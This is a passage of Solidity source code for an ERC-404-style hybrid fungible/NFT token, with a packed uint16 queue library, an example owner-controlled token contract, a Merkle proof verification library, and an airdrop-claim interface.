returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library PackedDoubleEndedQueue { uint128 constant SLOT_MASK = (1 << 64) - 1; uint128 constant INDEX_MASK = SLOT_MASK << 64; uint256 constant SLOT_DATA_MASK = (1 << 16) - 1; /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Invalid slot. */ error InvalidSlot(); /** * @dev Indices and slots are 64 bits to fit within a single storage slot. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint16Deque { uint64 _beginIndex; uint64 _beginSlot; uint64 _endIndex; uint64 _endSlot; mapping(uint64 index => uint256) _data; } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack(Uint16Deque storage deque) internal returns (uint16 value) { unchecked { uint64 backIndex = deque._endIndex; uint64 backSlot = deque._endSlot; if (backIndex == deque._beginIndex && backSlot == deque._beginSlot) revert QueueEmpty(); if (backSlot == 0) { --backIndex; backSlot = 15; } else { --backSlot; } uint256 data = deque._data[backIndex]; value = _getEntry(data, backSlot); deque._data[backIndex] = _setData(data, backSlot, 0); deque._endIndex = backIndex; deque._endSlot = backSlot; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint16Deque storage deque, uint16 value_) internal { unchecked { uint64 frontIndex = deque._beginIndex; uint64 frontSlot = deque._beginSlot; if (frontSlot == 0) { --frontIndex; frontSlot = 15; } else { --frontSlot; } if (frontIndex == deque._endIndex && frontSlot == deque._endSlot) revert QueueFull(); deque._data[frontIndex] = _setData( deque._data[frontIndex], frontSlot, value_ ); deque._beginIndex = frontIndex; deque._beginSlot = frontSlot; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint16Deque storage deque, uint256 index_ ) internal view returns (uint16 value) { if (index_ >= length(deque) * 16) revert QueueOutOfBounds(); unchecked { return _getEntry( deque._data[ deque._beginIndex + uint64(deque._beginSlot + (index_ % 16)) / 16 + uint64(index_ / 16) ], uint64(((deque._beginSlot + index_) % 16)) ); } } /** * @dev Returns the number of items in the queue. */ function length(Uint16Deque storage deque) internal view returns (uint256) { unchecked { return (16 - deque._beginSlot) + deque._endSlot + deque._endIndex * 16 - deque._beginIndex * 16 - 16; } } /** * @dev Returns true if the queue is empty. */ function empty(Uint16Deque storage deque) internal view returns (bool) { return deque._endSlot == deque._beginSlot && deque._endIndex == deque._beginIndex; } function _setData( uint256 data_, uint64 slot_, uint16 value ) private pure returns (uint256) { return (data_ & (~_getSlotMask(slot_))) + (uint256(value) << (16 * slot_)); } function _getEntry(uint256 data, uint64 slot_) private pure returns (uint16) { return uint16((data & _getSlotMask(slot_)) >> (16 * slot_)); } function _getSlotMask(uint64 slot_) private pure returns (uint256) { return SLOT_DATA_MASK << (slot_ * 16); } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404U16 is IERC404 { using PackedDoubleEndedQueue for PackedDoubleEndedQueue.Uint16Deque; /// @dev The queue of ERC-721 tokens stored in the contract. PackedDoubleEndedQueue.Uint16Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint16[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { uint256[] memory ownedAsU256 = new uint256[](_owned[owner_].length); for (uint256 i = 0; i < _owned[owner_].length; ) { ownedAsU256[i] = ID_ENCODING_PREFIX + _owned[owner_][i]; unchecked { ++i; } } return ownedAsU256; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = ID_ENCODING_PREFIX + _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve an ERC-721 /// if valueOrId is less than the minted count. Unlike setApprovalForAll, /// spender_ must be allowed to be 0x0 so that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { // The ERC-721 tokens are 1-indexed, so 0 is not a valid id and indicates that // operator is attempting to set the ERC-20 allowance to 0. if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } // Intention is to approve as ERC-20 token (value). allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is less than or equal to current max id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent transferring tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent transferring tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Intention is to transfer as ERC-20 token (value). uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transfer function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even small amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transfer function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = ID_ENCODING_PREFIX + _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = uint16(updatedId); // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(uint16(id_)); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = ID_ENCODING_PREFIX + _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the sender's transaction changes their holding from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // // Check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = ID_ENCODING_PREFIX + _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = ID_ENCODING_PREFIX + _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(uint16(id)); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } //SPDX-License-Identifier: MIT contract ERC404ExampleU16 is Ownable, ERC404U16 { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 maxTotalSupplyERC721_, address initialOwner_, address initialMintRecipient_ ) ERC404U16(name_, symbol_, decimals_) Ownable(initialOwner_) { // Do not mint the ERC721s to the initial owner, as it's a waste of gas. _setERC721TransferExempt(initialMintRecipient_, true); _mintERC20(initialMintRecipient_, maxTotalSupplyERC721_ * units); } function tokenURI(uint256 id_) public pure override returns (string memory) { return string.concat("https://example.com/token/", Strings.toString(id_)); } function setERC721TransferExempt( address account_, bool value_ ) external onlyOwner { _setERC721TransferExempt(account_, value_); } }
pragma solidity ^0.8.20; library MerkleProof { /** *@dev The multiproof provided is not valid. */ error MerkleProofInvalidMultiproof(); /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Calldata version of {verify} */ function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { return processProofCalldata(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Calldata version of {processProof} */ function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { computedHash = _hashPair(computedHash, proof[i]); } return computedHash; } /** * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}. * * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details. */ function multiProofVerify( bytes32[] memory proof, bool[] memory proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProof(proof, proofFlags, leaves) == root; } /** * @dev Calldata version of {multiProofVerify} * * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details. */ function multiProofVerifyCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32 root, bytes32[] memory leaves ) internal pure returns (bool) { return processMultiProofCalldata(proof, proofFlags, leaves) == root; } /** * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false * respectively. * * CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer). */ function processMultiProof( bytes32[] memory proof, bool[] memory proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the Merkle tree. uint256 leavesLen = leaves.length; uint256 proofLen = proof.length; uint256 totalHashes = proofFlags.length; // Check proof validity. if (leavesLen + proofLen != totalHashes + 1) { revert MerkleProofInvalidMultiproof(); } // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]) : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { if (proofPos != proofLen) { revert MerkleProofInvalidMultiproof(); } unchecked { return hashes[totalHashes - 1]; } } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Calldata version of {processMultiProof}. * * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details. */ function processMultiProofCalldata( bytes32[] calldata proof, bool[] calldata proofFlags, bytes32[] memory leaves ) internal pure returns (bytes32 merkleRoot) { // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of // the Merkle tree. uint256 leavesLen = leaves.length; uint256 proofLen = proof.length; uint256 totalHashes = proofFlags.length; // Check proof validity. if (leavesLen + proofLen != totalHashes + 1) { revert MerkleProofInvalidMultiproof(); } // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop". bytes32[] memory hashes = new bytes32[](totalHashes); uint256 leafPos = 0; uint256 hashPos = 0; uint256 proofPos = 0; // At each step, we compute the next hash using two values: // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we // get the next hash. // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the // `proof` array. for (uint256 i = 0; i < totalHashes; i++) { bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]; bytes32 b = proofFlags[i] ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++]) : proof[proofPos++]; hashes[i] = _hashPair(a, b); } if (totalHashes > 0) { if (proofPos != proofLen) { revert MerkleProofInvalidMultiproof(); } unchecked { return hashes[totalHashes - 1]; } } else if (leavesLen > 0) { return leaves[0]; } else { return proof[0]; } } /** * @dev Sorts the pair (a, b) and hashes the result. */ function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) { return a < b ? _efficientHash(a, b) : _efficientHash(b, a); } /** * @dev Implementation of keccak256(abi.encode(a, b)) that doesn't allocate or expand memory. */ function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { /// @solidity memory-safe-assembly assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } interface IERC404MerkleClaim { error AirdropAlreadyClaimed(); error NotEligibleForAirdrop(); error AirdropIsClosed(); function verifyProof( bytes32[] memory proof_, address claimer_, uint256 value_ ) external view returns (bool); function airdropMint(bytes32[] memory proof_, uint256 value_) external; } 